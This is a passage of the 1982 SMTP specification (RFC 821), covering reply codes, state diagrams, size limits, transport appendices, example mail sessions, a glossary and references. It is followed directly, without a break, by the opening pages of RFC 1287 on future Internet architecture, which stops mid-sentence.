               E: 500, 501, 502, 504, 421
            HELP
               S: 211, 214
               E: 500, 501, 502, 504, 421
            NOOP
               S: 250
               E: 500, 421
            QUIT
               S: 221
               E: 500
            TURN
               S: 250
               F: 502
               E: 500, 503

[Page 38]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

   4.4.  STATE DIAGRAMS

      Following are state diagrams for a simple-minded SMTP
      implementation.  Only the first digit of the reply codes is used.
      There is one state diagram for each group of SMTP commands.  The
      command groupings were determined by constructing a model for each
      command and then collecting together the commands with
      structurally identical models.

      For each command there are three possible outcomes:  "success"
      (S), "failure" (F), and "error" (E). In the state diagrams below
      we use the symbol B for "begin", and the symbol W for "wait for
      reply".

      First, the diagram that represents most of the SMTP commands:

                                  1,3    +---+
                             ----------->| E |
                            |            +---+
                            |
         +---+    cmd    +---+    2      +---+
         | B |---------->| W |---------->| S |
         +---+           +---+           +---+
                            |
                            |     4,5    +---+
                             ----------->| F |
                                         +---+

         This diagram models the commands:

            HELO, MAIL, RCPT, RSET, SEND, SOML, SAML, VRFY, EXPN, HELP,
            NOOP, QUIT, TURN.

Postel                                                         [Page 39]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

      A more complex diagram models the DATA command:

         +---+   DATA    +---+ 1,2                 +---+
         | B |---------->| W |-------------------->| E |
         +---+           +---+        ------------>+---+
                         3| |4,5     |
                          | |        |
            --------------   -----   |
           |                      |  |             +---+
           |               ----------     -------->| S |
           |              |       |      |         +---+
           |              |  ------------
           |              | |     |
           V           1,3| |2    |
         +---+   data    +---+     --------------->+---+
         |   |---------->| W |                     | F |
         +---+           +---+-------------------->+---+
                              4,5

         Note that the "data" here is a series of lines sent from the
         sender to the receiver with no response expected until the last
         line is sent.

[Page 40]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

   4.5.  DETAILS

      4.5.1.  MINIMUM IMPLEMENTATION

         In order to make SMTP workable, the following minimum
         implementation is required for all receivers:

            COMMANDS -- HELO
                        MAIL
                        RCPT
                        DATA
                        RSET
                        NOOP
                        QUIT

      4.5.2.  TRANSPARENCY

         Without some provision for data transparency the character
         sequence "<CRLF>.<CRLF>" ends the mail text and cannot be sent
         by the user.  In general, users are not aware of such
         "forbidden" sequences.  To allow all user composed text to be
         transmitted transparently the following procedures are used.

            1. Before sending a line of mail text the sender-SMTP checks
            the first character of the line.  If it is a period, one
            additional period is inserted at the beginning of the line.

            2. When a line of mail text is received by the receiver-SMTP
            it checks the line.  If the line is composed of a single
            period it is the end of mail.  If the first character is a
            period and there are other characters on the line, the first
            character is deleted.

         The mail data may contain any of the 128 ASCII characters.  All
         characters are to be delivered to the recipient's mailbox
         including format effectors and other control characters.  If
         the transmission channel provides an 8-bit byte (octets) data
         stream, the 7-bit ASCII codes are transmitted right justified
         in the octets with the high order bits cleared to zero.

            In some systems it may be necessary to transform the data as
            it is received and stored.  This may be necessary for hosts
            that use a different character set than ASCII as their local
            character set, or that store data in records rather than

Postel                                                         [Page 41]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

            strings.  If such transforms are necessary, they must be
            reversible -- especially if such transforms are applied to
            mail being relayed.

      4.5.3.  SIZES

         There are several objects that have required minimum maximum
         sizes.  That is, every implementation must be able to receive
         objects of at least these sizes, but must not send objects
         larger than these sizes.

          ****************************************************
          *                                                  *
          *  TO THE MAXIMUM EXTENT POSSIBLE, IMPLEMENTATION  *
          *  TECHNIQUES WHICH IMPOSE NO LIMITS ON THE LENGTH *
          *  OF THESE OBJECTS SHOULD BE USED.                *
          *                                                  *
          ****************************************************

            user

               The maximum total length of a user name is 64 characters.

            domain

               The maximum total length of a domain name or number is 64
               characters.

            path

               The maximum total length of a reverse-path or
               forward-path is 256 characters (including the punctuation
               and element separators).

            command line

               The maximum total length of a command line including the
               command word and the <CRLF> is 512 characters.

            reply line

               The maximum total length of a reply line including the
               reply code and the <CRLF> is 512 characters.

[Page 42]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

            text line

               The maximum total length of a text line including the
               <CRLF> is 1000 characters (but not counting the leading
               dot duplicated for transparency).

            recipients buffer

               The maximum total number of recipients that must be
               buffered is 100 recipients.

          ****************************************************
          *                                                  *
          *  TO THE MAXIMUM EXTENT POSSIBLE, IMPLEMENTATION  *
          *  TECHNIQUES WHICH IMPOSE NO LIMITS ON THE LENGTH *
          *  OF THESE OBJECTS SHOULD BE USED.                *
          *                                                  *
          ****************************************************

         Errors due to exceeding these limits may be reported by using
         the reply codes, for example:

            500 Line too long.

            501 Path too long

            552 Too many recipients.

            552 Too much mail data.

Postel                                                         [Page 43]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

APPENDIX A

   TCP Transport service

      The Transmission Control Protocol [3] is used in the ARPA
      Internet, and in any network following the US DoD standards for
      internetwork protocols.

      Connection Establishment

         The SMTP transmission channel is a TCP connection established
         between the sender process port U and the receiver process port
         L.  This single full duplex connection is used as the
         transmission channel.  This protocol is assigned the service
         port 25 (31 octal), that is L=25.

      Data Transfer

         The TCP connection supports the transmission of 8-bit bytes.
         The SMTP data is 7-bit ASCII characters.  Each character is
         transmitted as an 8-bit byte with the high-order bit cleared to
         zero.

[Page 44]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

APPENDIX B

   NCP Transport service

      The ARPANET Host-to-Host Protocol [4] (implemented by the Network
      Control Program) may be used in the ARPANET.

      Connection Establishment

         The SMTP transmission channel is established via NCP between
         the sender process socket U and receiver process socket L.  The
         Initial Connection Protocol [5] is followed resulting in a pair
         of simplex connections.  This pair of connections is used as
         the transmission channel.  This protocol is assigned the
         contact socket 25 (31 octal), that is L=25.

      Data Transfer

         The NCP data connections are established in 8-bit byte mode.
         The SMTP data is 7-bit ASCII characters.  Each character is
         transmitted as an 8-bit byte with the high-order bit cleared to
         zero.

Postel                                                         [Page 45]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

APPENDIX C

   NITS

      The Network Independent Transport Service [6] may be used.

      Connection Establishment

         The SMTP transmission channel is established via NITS between
         the sender process and receiver process.  The sender process
         executes the CONNECT primitive, and the waiting receiver
         process executes the ACCEPT primitive.

      Data Transfer

         The NITS connection supports the transmission of 8-bit bytes.
         The SMTP data is 7-bit ASCII characters.  Each character is
         transmitted as an 8-bit byte with the high-order bit cleared to
         zero.

[Page 46]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

APPENDIX D

   X.25 Transport service

      It may be possible to use the X.25 service [7] as provided by the
      Public Data Networks directly, however, it is suggested that a
      reliable end-to-end protocol such as TCP be used on top of X.25
      connections.

Postel                                                         [Page 47]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

APPENDIX E

   Theory of Reply Codes

      The three digits of the reply each have a special significance.
      The first digit denotes whether the response is good, bad or
      incomplete.  An unsophisticated sender-SMTP will be able to
      determine its next action (proceed as planned, redo, retrench,
      etc.) by simply examining this first digit.  A sender-SMTP that
      wants to know approximately what kind of error occurred (e.g.,
      mail system error, command syntax error) may examine the second
      digit, reserving the third digit for the finest gradation of
      information.

         There are five values for the first digit of the reply code:

            1yz   Positive Preliminary reply

               The command has been accepted, but the requested action
               is being held in abeyance, pending confirmation of the
               information in this reply.  The sender-SMTP should send
               another command specifying whether to continue or abort
               the action.

                  [Note: SMTP does not have any commands that allow this
                  type of reply, and so does not have the continue or
                  abort commands.]

            2yz   Positive Completion reply

               The requested action has been successfully completed.  A
               new request may be initiated.

            3yz   Positive Intermediate reply

               The command has been accepted, but the requested action
               is being held in abeyance, pending receipt of further
               information.  The sender-SMTP should send another command
               specifying this information.  This reply is used in
               command sequence groups.

            4yz   Transient Negative Completion reply

               The command was not accepted and the requested action did
               not occur.  However, the error condition is temporary and
               the action may be requested again.  The sender should

[Page 48]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

               return to the beginning of the command sequence (if any).
               It is difficult to assign a meaning to "transient" when
               two different sites (receiver- and sender- SMTPs) must
               agree on the interpretation.  Each reply in this category
               might have a different time value, but the sender-SMTP is
               encouraged to try again.  A rule of thumb to determine if
               a reply fits into the 4yz or the 5yz category (see below)
               is that replies are 4yz if they can be repeated without
               any change in command form or in properties of the sender
               or receiver.  (E.g., the command is repeated identically
               and the receiver does not put up a new implementation.)

            5yz   Permanent Negative Completion reply

               The command was not accepted and the requested action did
               not occur.  The sender-SMTP is discouraged from repeating
               the exact request (in the same sequence).  Even some
               "permanent" error conditions can be corrected, so the
               human user may want to direct the sender-SMTP to
               reinitiate the command sequence by direct action at some
               point in the future (e.g., after the spelling has been
               changed, or the user has altered the account status).

         The second digit encodes responses in specific categories:

            x0z   Syntax -- These replies refer to syntax errors,
                  syntactically correct commands that don't fit any
                  functional category, and unimplemented or superfluous
                  commands.

            x1z   Information --  These are replies to requests for
                  information, such as status or help.

            x2z   Connections -- These are replies referring to the
                  transmission channel.

            x3z   Unspecified as yet.

            x4z   Unspecified as yet.

            x5z   Mail system -- These replies indicate the status of
                  the receiver mail system vis-a-vis the requested
                  transfer or other mail system action.

         The third digit gives a finer gradation of meaning in each
         category specified by the second digit.  The list of replies

Postel                                                         [Page 49]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

         illustrates this.  Each reply text is recommended rather than
         mandatory, and may even change according to the command with
         which it is associated.  On the other hand, the reply codes
         must strictly follow the specifications in this section.
         Receiver implementations should not invent new codes for
         slightly different situations from the ones described here, but
         rather adapt codes already defined.

         For example, a command such as NOOP whose successful execution
         does not offer the sender-SMTP any new information will return
         a 250 reply.  The response is 502 when the command requests an
         unimplemented non-site-specific action.  A refinement of that
         is the 504 reply for a command that is implemented, but that
         requests an unimplemented parameter.

      The reply text may be longer than a single line; in these cases
      the complete text must be marked so the sender-SMTP knows when it
      can stop reading the reply.  This requires a special format to
      indicate a multiple line reply.

         The format for multiline replies requires that every line,
         except the last, begin with the reply code, followed
         immediately by a hyphen, "-" (also known as minus), followed by
         text.  The last line will begin with the reply code, followed
         immediately by <SP>, optionally some text, and <CRLF>.

            For example:
                                123-First line
                                123-Second line
                                123-234 text beginning with numbers
                                123 The last line

         In many cases the sender-SMTP then simply needs to search for
         the reply code followed by <SP> at the beginning of a line, and
         ignore all preceding lines.  In a few cases, there is important
         data for the sender in the reply "text".  The sender will know
         these cases from the current context.

[Page 50]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

APPENDIX F

   Scenarios

      This section presents complete scenarios of several types of SMTP
      sessions.

   A Typical SMTP Transaction Scenario

      This SMTP example shows mail sent by Smith at host USC-ISIF, to
      Jones, Green, and Brown at host BBN-UNIX.  Here we assume that
      host USC-ISIF contacts host BBN-UNIX directly.  The mail is
      accepted for Jones and Brown.  Green does not have a mailbox at
      host BBN-UNIX.

      -------------------------------------------------------------

         R: 220 BBN-UNIX.ARPA Simple Mail Transfer Service Ready
         S: HELO USC-ISIF.ARPA
         R: 250 BBN-UNIX.ARPA

         S: MAIL FROM:<Smith@USC-ISIF.ARPA>
         R: 250 OK

         S: RCPT TO:<Jones@BBN-UNIX.ARPA>
         R: 250 OK

         S: RCPT TO:<Green@BBN-UNIX.ARPA>
         R: 550 No such user here

         S: RCPT TO:<Brown@BBN-UNIX.ARPA>
         R: 250 OK

         S: DATA
         R: 354 Start mail input; end with <CRLF>.<CRLF>
         S: Blah blah blah...
         S: ...etc. etc. etc.
         S: .
         R: 250 OK

         S: QUIT
         R: 221 BBN-UNIX.ARPA Service closing transmission channel

                               Scenario 1

      -------------------------------------------------------------

Postel                                                         [Page 51]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

   Aborted SMTP Transaction Scenario

      -------------------------------------------------------------

         R: 220 MIT-Multics.ARPA Simple Mail Transfer Service Ready
         S: HELO ISI-VAXA.ARPA
         R: 250 MIT-Multics.ARPA

         S: MAIL FROM:<Smith@ISI-VAXA.ARPA>
         R: 250 OK

         S: RCPT TO:<Jones@MIT-Multics.ARPA>
         R: 250 OK

         S: RCPT TO:<Green@MIT-Multics.ARPA>
         R: 550 No such user here

         S: RSET
         R: 250 OK

         S: QUIT
         R: 221 MIT-Multics.ARPA Service closing transmission channel

                               Scenario 2

      -------------------------------------------------------------

[Page 52]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

   Relayed Mail Scenario

      -------------------------------------------------------------

         Step 1  --  Source Host to Relay Host

            R: 220 USC-ISIE.ARPA Simple Mail Transfer Service Ready
            S: HELO MIT-AI.ARPA
            R: 250 USC-ISIE.ARPA

            S: MAIL FROM:<JQP@MIT-AI.ARPA>
            R: 250 OK

            S: RCPT TO:<@USC-ISIE.ARPA:Jones@BBN-VAX.ARPA>
            R: 250 OK

            S: DATA
            R: 354 Start mail input; end with <CRLF>.<CRLF>
            S: Date: 2 Nov 81 22:33:44
            S: From: John Q. Public <JQP@MIT-AI.ARPA>
            S: Subject:  The Next Meeting of the Board
            S: To: Jones@BBN-Vax.ARPA
            S:
            S: Bill:
            S: The next meeting of the board of directors will be
            S: on Tuesday.
            S:                                              John.
            S: .
            R: 250 OK

            S: QUIT
            R: 221 USC-ISIE.ARPA Service closing transmission channel

Postel                                                         [Page 53]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

         Step 2  --  Relay Host to Destination Host

            R: 220 BBN-VAX.ARPA Simple Mail Transfer Service Ready
            S: HELO USC-ISIE.ARPA
            R: 250 BBN-VAX.ARPA

            S: MAIL FROM:<@USC-ISIE.ARPA:JQP@MIT-AI.ARPA>
            R: 250 OK

            S: RCPT TO:<Jones@BBN-VAX.ARPA>
            R: 250 OK

            S: DATA
            R: 354 Start mail input; end with <CRLF>.<CRLF>
            S: Received: from MIT-AI.ARPA by USC-ISIE.ARPA ;
               2 Nov 81 22:40:10 UT
            S: Date: 2 Nov 81 22:33:44
            S: From: John Q. Public <JQP@MIT-AI.ARPA>
            S: Subject:  The Next Meeting of the Board
            S: To: Jones@BBN-Vax.ARPA
            S:
            S: Bill:
            S: The next meeting of the board of directors will be
            S: on Tuesday.
            S:                                              John.
            S: .
            R: 250 OK

            S: QUIT
            R: 221 USC-ISIE.ARPA Service closing transmission channel

                               Scenario 3

      -------------------------------------------------------------

[Page 54]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

   Verifying and Sending Scenario

      -------------------------------------------------------------

         R: 220 SU-SCORE.ARPA Simple Mail Transfer Service Ready
         S: HELO MIT-MC.ARPA
         R: 250 SU-SCORE.ARPA

         S: VRFY Crispin
         R: 250 Mark Crispin <Admin.MRC@SU-SCORE.ARPA>

         S: SEND FROM:<EAK@MIT-MC.ARPA>
         R: 250 OK

         S: RCPT TO:<Admin.MRC@SU-SCORE.ARPA>
         R: 250 OK

         S: DATA
         R: 354 Start mail input; end with <CRLF>.<CRLF>
         S: Blah blah blah...
         S: ...etc. etc. etc.
         S: .
         R: 250 OK

         S: QUIT
         R: 221 SU-SCORE.ARPA Service closing transmission channel

                               Scenario 4

      -------------------------------------------------------------

Postel                                                         [Page 55]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

   Sending and Mailing Scenarios

      First the user's name is verified, then  an attempt is made to
      send to the user's terminal.  When that fails, the messages is
      mailed to the user's mailbox.

      -------------------------------------------------------------

         R: 220 SU-SCORE.ARPA Simple Mail Transfer Service Ready
         S: HELO MIT-MC.ARPA
         R: 250 SU-SCORE.ARPA

         S: VRFY Crispin
         R: 250 Mark Crispin <Admin.MRC@SU-SCORE.ARPA>

         S: SEND FROM:<EAK@MIT-MC.ARPA>
         R: 250 OK

         S: RCPT TO:<Admin.MRC@SU-SCORE.ARPA>
         R: 450 User not active now

         S: RSET
         R: 250 OK

         S: MAIL FROM:<EAK@MIT-MC.ARPA>
         R: 250 OK

         S: RCPT TO:<Admin.MRC@SU-SCORE.ARPA>
         R: 250 OK

         S: DATA
         R: 354 Start mail input; end with <CRLF>.<CRLF>
         S: Blah blah blah...
         S: ...etc. etc. etc.
         S: .
         R: 250 OK

         S: QUIT
         R: 221 SU-SCORE.ARPA Service closing transmission channel

                               Scenario 5

      -------------------------------------------------------------

[Page 56]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

      Doing the preceding scenario more efficiently.

      -------------------------------------------------------------

         R: 220 SU-SCORE.ARPA Simple Mail Transfer Service Ready
         S: HELO MIT-MC.ARPA
         R: 250 SU-SCORE.ARPA

         S: VRFY Crispin
         R: 250 Mark Crispin <Admin.MRC@SU-SCORE.ARPA>

         S: SOML FROM:<EAK@MIT-MC.ARPA>
         R: 250 OK

         S: RCPT TO:<Admin.MRC@SU-SCORE.ARPA>
         R: 250 User not active now, so will do mail.

         S: DATA
         R: 354 Start mail input; end with <CRLF>.<CRLF>
         S: Blah blah blah...
         S: ...etc. etc. etc.
         S: .
         R: 250 OK

         S: QUIT
         R: 221 SU-SCORE.ARPA Service closing transmission channel

                               Scenario 6

      -------------------------------------------------------------

Postel                                                         [Page 57]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

   Mailing List Scenario

      First each of two mailing lists are expanded in separate sessions
      with different hosts.  Then the message is sent to everyone that
      appeared on either list (but no duplicates) via a relay host.

      -------------------------------------------------------------

         Step 1  --  Expanding the First List

            R: 220 MIT-AI.ARPA Simple Mail Transfer Service Ready
            S: HELO SU-SCORE.ARPA
            R: 250 MIT-AI.ARPA

            S: EXPN Example-People
            R: 250-<ABC@MIT-MC.ARPA>
            R: 250-Fred Fonebone <Fonebone@USC-ISIQ.ARPA>
            R: 250-Xenon Y. Zither <XYZ@MIT-AI.ARPA>
            R: 250-Quincy Smith <@USC-ISIF.ARPA:Q-Smith@ISI-VAXA.ARPA>
            R: 250-<joe@foo-unix.ARPA>
            R: 250 <xyz@bar-unix.ARPA>

            S: QUIT
            R: 221 MIT-AI.ARPA Service closing transmission channel

[Page 58]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

         Step 2  --  Expanding the Second List

            R: 220 MIT-MC.ARPA Simple Mail Transfer Service Ready
            S: HELO SU-SCORE.ARPA
            R: 250 MIT-MC.ARPA

            S: EXPN Interested-Parties
            R: 250-Al Calico <ABC@MIT-MC.ARPA>
            R: 250-<XYZ@MIT-AI.ARPA>
            R: 250-Quincy Smith <@USC-ISIF.ARPA:Q-Smith@ISI-VAXA.ARPA>
            R: 250-<fred@BBN-UNIX.ARPA>
            R: 250 <xyz@bar-unix.ARPA>

            S: QUIT
            R: 221 MIT-MC.ARPA Service closing transmission channel

Postel                                                         [Page 59]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

         Step 3  --  Mailing to All via a Relay Host

            R: 220 USC-ISIE.ARPA Simple Mail Transfer Service Ready
            S: HELO SU-SCORE.ARPA
            R: 250 USC-ISIE.ARPA

            S: MAIL FROM:<Account.Person@SU-SCORE.ARPA>
            R: 250 OK
            S: RCPT TO:<@USC-ISIE.ARPA:ABC@MIT-MC.ARPA>
            R: 250 OK
            S: RCPT TO:<@USC-ISIE.ARPA:Fonebone@USC-ISIQA.ARPA>
            R: 250 OK
            S: RCPT TO:<@USC-ISIE.ARPA:XYZ@MIT-AI.ARPA>
            R: 250 OK
            S: RCPT
                TO:<@USC-ISIE.ARPA,@USC-ISIF.ARPA:Q-Smith@ISI-VAXA.ARPA>
            R: 250 OK
            S: RCPT TO:<@USC-ISIE.ARPA:joe@FOO-UNIX.ARPA>
            R: 250 OK
            S: RCPT TO:<@USC-ISIE.ARPA:xyz@BAR-UNIX.ARPA>
            R: 250 OK
            S: RCPT TO:<@USC-ISIE.ARPA:fred@BBN-UNIX.ARPA>
            R: 250 OK

            S: DATA
            R: 354 Start mail input; end with <CRLF>.<CRLF>
            S: Blah blah blah...
            S: ...etc. etc. etc.
            S: .
            R: 250 OK

            S: QUIT
            R: 221 USC-ISIE.ARPA Service closing transmission channel

                               Scenario 7

      -------------------------------------------------------------

[Page 60]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

   Forwarding Scenarios

      -------------------------------------------------------------

         R: 220 USC-ISIF.ARPA Simple Mail Transfer Service Ready
         S: HELO LBL-UNIX.ARPA
         R: 250 USC-ISIF.ARPA

         S: MAIL FROM:<mo@LBL-UNIX.ARPA>
         R: 250 OK

         S: RCPT TO:<fred@USC-ISIF.ARPA>
         R: 251 User not local; will forward to <Jones@USC-ISI.ARPA>

         S: DATA
         R: 354 Start mail input; end with <CRLF>.<CRLF>
         S: Blah blah blah...
         S: ...etc. etc. etc.
         S: .
         R: 250 OK

         S: QUIT
         R: 221 USC-ISIF.ARPA Service closing transmission channel

                               Scenario 8

      -------------------------------------------------------------

Postel                                                         [Page 61]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

      -------------------------------------------------------------

         Step 1  --  Trying the Mailbox at the First Host

            R: 220 USC-ISIF.ARPA Simple Mail Transfer Service Ready
            S: HELO LBL-UNIX.ARPA
            R: 250 USC-ISIF.ARPA

            S: MAIL FROM:<mo@LBL-UNIX.ARPA>
            R: 250 OK

            S: RCPT TO:<fred@USC-ISIF.ARPA>
            R: 251 User not local; will forward to <Jones@USC-ISI.ARPA>

            S: RSET
            R: 250 OK

            S: QUIT
            R: 221 USC-ISIF.ARPA Service closing transmission channel

         Step 2  --  Delivering the Mail at the Second Host

            R: 220 USC-ISI.ARPA Simple Mail Transfer Service Ready
            S: HELO LBL-UNIX.ARPA
            R: 250 USC-ISI.ARPA

            S: MAIL FROM:<mo@LBL-UNIX.ARPA>
            R: 250 OK

            S: RCPT TO:<Jones@USC-ISI.ARPA>
            R: OK

            S: DATA
            R: 354 Start mail input; end with <CRLF>.<CRLF>
            S: Blah blah blah...
            S: ...etc. etc. etc.
            S: .
            R: 250 OK

            S: QUIT
            R: 221 USC-ISI.ARPA Service closing transmission channel

                               Scenario 9

      -------------------------------------------------------------

[Page 62]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

   Too Many Recipients Scenario

      -------------------------------------------------------------

         R: 220 BERKELEY.ARPA Simple Mail Transfer Service Ready
         S: HELO USC-ISIF.ARPA
         R: 250 BERKELEY.ARPA

         S: MAIL FROM:<Postel@USC-ISIF.ARPA>
         R: 250 OK

         S: RCPT TO:<fabry@BERKELEY.ARPA>
         R: 250 OK

         S: RCPT TO:<eric@BERKELEY.ARPA>
         R: 552 Recipient storage full, try again in another transaction

         S: DATA
         R: 354 Start mail input; end with <CRLF>.<CRLF>
         S: Blah blah blah...
         S: ...etc. etc. etc.
         S: .
         R: 250 OK

         S: MAIL FROM:<Postel@USC-ISIF.ARPA>
         R: 250 OK

         S: RCPT TO:<eric@BERKELEY.ARPA>
         R: 250 OK

         S: DATA
         R: 354 Start mail input; end with <CRLF>.<CRLF>
         S: Blah blah blah...
         S: ...etc. etc. etc.
         S: .
         R: 250 OK

         S: QUIT
         R: 221 BERKELEY.ARPA Service closing transmission channel

                              Scenario 10

      -------------------------------------------------------------

      Note that a real implementation must handle many recipients as
      specified in Section 4.5.3.

Postel                                                         [Page 63]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

GLOSSARY

   ASCII

      American Standard Code for Information Interchange [1].

   command

      A request for a mail service action sent by the sender-SMTP to the
      receiver-SMTP.

   domain

      The hierarchially structured global character string address of a
      host computer in the mail system.

   end of mail data indication

      A special sequence of characters that indicates the end of the
      mail data.  In particular, the five characters carriage return,
      line feed, period, carriage return, line feed, in that order.

   host

      A computer in the internetwork environment on which mailboxes or
      SMTP processes reside.

   line

      A a sequence of ASCII characters ending with a <CRLF>.

   mail data

      A sequence of ASCII characters of arbitrary length, which conforms
      to the standard set in the Standard for the Format of ARPA
      Internet Text Messages (RFC 822 [2]).

   mailbox

      A character string (address) which identifies a user to whom mail
      is to be sent.  Mailbox normally consists of the host and user
      specifications.  The standard mailbox naming convention is defined
      to be "user@domain".  Additionally, the "container" in which mail
      is stored.

[Page 64]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

   receiver-SMTP process

      A process which transfers mail in cooperation with a sender-SMTP
      process.  It waits for a connection to be established via the
      transport service.  It receives SMTP commands from the
      sender-SMTP, sends replies, and performs the specified operations.

   reply

      A reply is an acknowledgment (positive or negative) sent from
      receiver to sender via the transmission channel in response to a
      command.  The general form of a reply is a completion code
      (including error codes) followed by a text string.  The codes are
      for use by programs and the text is usually intended for human
      users.

   sender-SMTP process

      A process which transfers mail in cooperation with a receiver-SMTP
      process.  A local language may be used in the user interface
      command/reply dialogue.  The sender-SMTP initiates the transport
      service connection.  It initiates SMTP commands, receives replies,
      and governs the transfer of mail.

   session

      The set of exchanges that occur while the transmission channel is
      open.

   transaction

      The set of exchanges required for one message to be transmitted
      for one or more recipients.

   transmission channel

      A full-duplex communication path between a sender-SMTP and a
      receiver-SMTP for the exchange of commands, replies, and mail
      text.

   transport service

      Any reliable stream-oriented data communication services.  For
      example, NCP, TCP, NITS.

Postel                                                         [Page 65]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

   user

      A human being (or a process on behalf of a human being) wishing to
      obtain mail transfer service.  In addition, a recipient of
      computer mail.

   word

      A sequence of printing characters.

   <CRLF>

      The characters carriage return and line feed (in that order).

   <SP>

      The space character.

[Page 66]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

REFERENCES

   [1]  ASCII

      ASCII, "USA Code for Information Interchange", United States of
      America Standards Institute, X3.4, 1968.  Also in:  Feinler, E.
      and J. Postel, eds., "ARPANET Protocol Handbook", NIC 7104, for
      the Defense Communications Agency by SRI International, Menlo
      Park, California, Revised January 1978.

   [2]  RFC 822

      Crocker, D., "Standard for the Format of ARPA Internet Text
      Messages," RFC 822, Department of Electrical Engineering,
      University of Delaware, August 1982.

   [3]  TCP

      Postel, J., ed., "Transmission Control Protocol - DARPA Internet
      Program Protocol Specification", RFC 793, USC/Information Sciences
      Institute, NTIS AD Number A111091, September 1981.  Also in:
      Feinler, E. and J. Postel, eds., "Internet Protocol Transition
      Workbook", SRI International, Menlo Park, California, March 1982.

   [4]  NCP

      McKenzie,A., "Host/Host Protocol for the ARPA Network", NIC 8246,
      January 1972.  Also in:  Feinler, E. and J. Postel, eds., "ARPANET
      Protocol Handbook", NIC 7104, for the Defense Communications
      Agency by SRI International, Menlo Park, California, Revised
      January 1978.

   [5]  Initial Connection Protocol

      Postel, J., "Official Initial Connection Protocol", NIC 7101,
      11 June 1971.  Also in:  Feinler, E. and J. Postel, eds., "ARPANET
      Protocol Handbook", NIC 7104, for the Defense Communications
      Agency by SRI International, Menlo Park, California, Revised
      January 1978.

   [6]  NITS

      PSS/SG3, "A Network Independent Transport Service", Study Group 3,
      The Post Office PSS Users Group, February 1980.  Available from
      the DCPU, National Physical Laboratory, Teddington, UK.

Postel                                                         [Page 67]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

   [7]  X.25

      CCITT, "Recommendation X.25 - Interface Between Data Terminal
      Equipment (DTE) and Data Circuit-terminating Equipment (DCE) for
      Terminals Operating in the Packet Mode on Public Data Networks,"
      CCITT Orange Book, Vol. VIII.2, International Telephone and
      Telegraph Consultative Committee, Geneva, 1976.

[Page 68]                                                         Postel


Network Working Group                                           D. Clark
Request for Comments: 1287                                           MIT
                                                               L. Chapin
                                                                     BBN
                                                                 V. Cerf
                                                                    CNRI
                                                               R. Braden
                                                                     ISI
                                                                R. Hobby
                                                                UC Davis
                                                           December 1991

                Towards the Future Internet Architecture

Status of this Memo

   This informational RFC discusses important directions for possible
   future evolution of the Internet architecture, and suggests steps
   towards the desired goals.  It is offered to the Internet community
   for discussion and comment.  This memo provides information for the
   Internet community.  It does not specify an Internet standard.
   Distribution of this memo is unlimited.

Table of Contents

   1.  INTRODUCTION .................................................  2

   2.  ROUTING AND ADDRESSING .......................................  5

   3.  MULTI-PROTOCOL ARCHITECTURES .................................  9

   4.  SECURITY ARCHITECTURE ........................................ 13

   5   TRAFFIC CONTROL AND STATE .................................... 16

   6.  ADVANCED APPLICATIONS ........................................ 18

   7.  REFERENCES ................................................... 21

   APPENDIX A. Setting the Stage .................................... 22

   APPENDIX B. Group Membership ..................................... 28

   Security Considerations .......................................... 29

   Authors' Addresses ............................................... 29

Clark, Chapin, Cerf, Braden, & Hobby                            [Page 1]

RFC 1287            Future of Internet Architecture        December 1991

1.  INTRODUCTION

   1.1 The Internet Architecture

      The Internet architecture, the grand plan behind the TCP/IP
      protocol suite, was developed and tested in the late 1970s by a
      small group of network researchers [1-4].  Several important
      features were added to the architecture during the early 1980's --
      subnetting, autonomous systems, and the domain name system [5,6].
      More recently, IP multicasting has been added [7].

      Within this architectural framework, the Internet Engineering Task
      Force (IETF) has been working with great energy and effectiveness
      to engineer, define, extend, test, and standardize protocols for
      the Internet.  Three areas of particular importance have been
      routing protocols, TCP performance, and network management.
      Meanwhile, the Internet infrastructure has continued to grow at an
      astonishing rate.  Since January 1983 when the ARPANET first
      switched from NCP to TCP/IP, the vendors, managers, wizards, and
      researchers of the Internet have all been laboring mightily to
      survive their success.

      A set of the researchers who had defined the Internet architecture
      formed the original membership of the Internet Activities Board
      (IAB).  The IAB evolved from a technical advisory group set up in
      1981 by DARPA to become the general technical and policy oversight
      body for the Internet.  IAB membership has changed over the years
      to better represent the changing needs and issues in the Internet
      community, and more recently, to reflect the internationalization
      of the Internet, but it has retained an institutional concern for
      the protocol architecture.

      The IAB created the Internet Engineering Task Force (IETF) to
      carry out protocol development and engineering for the Internet.
      To manage the burgeoning IETF activities, the IETF chair set up
      the Internet Engineering Steering Group (IESG) within the IETF.
      The IAB and IESG work closely together in ratifying protocol
      standards developed within the IETF.

      Over the past few years, there have been increasing signs of
      strains on the fundamental architecture, mostly stemming from
      continued Internet growth.  Discussions of these problems
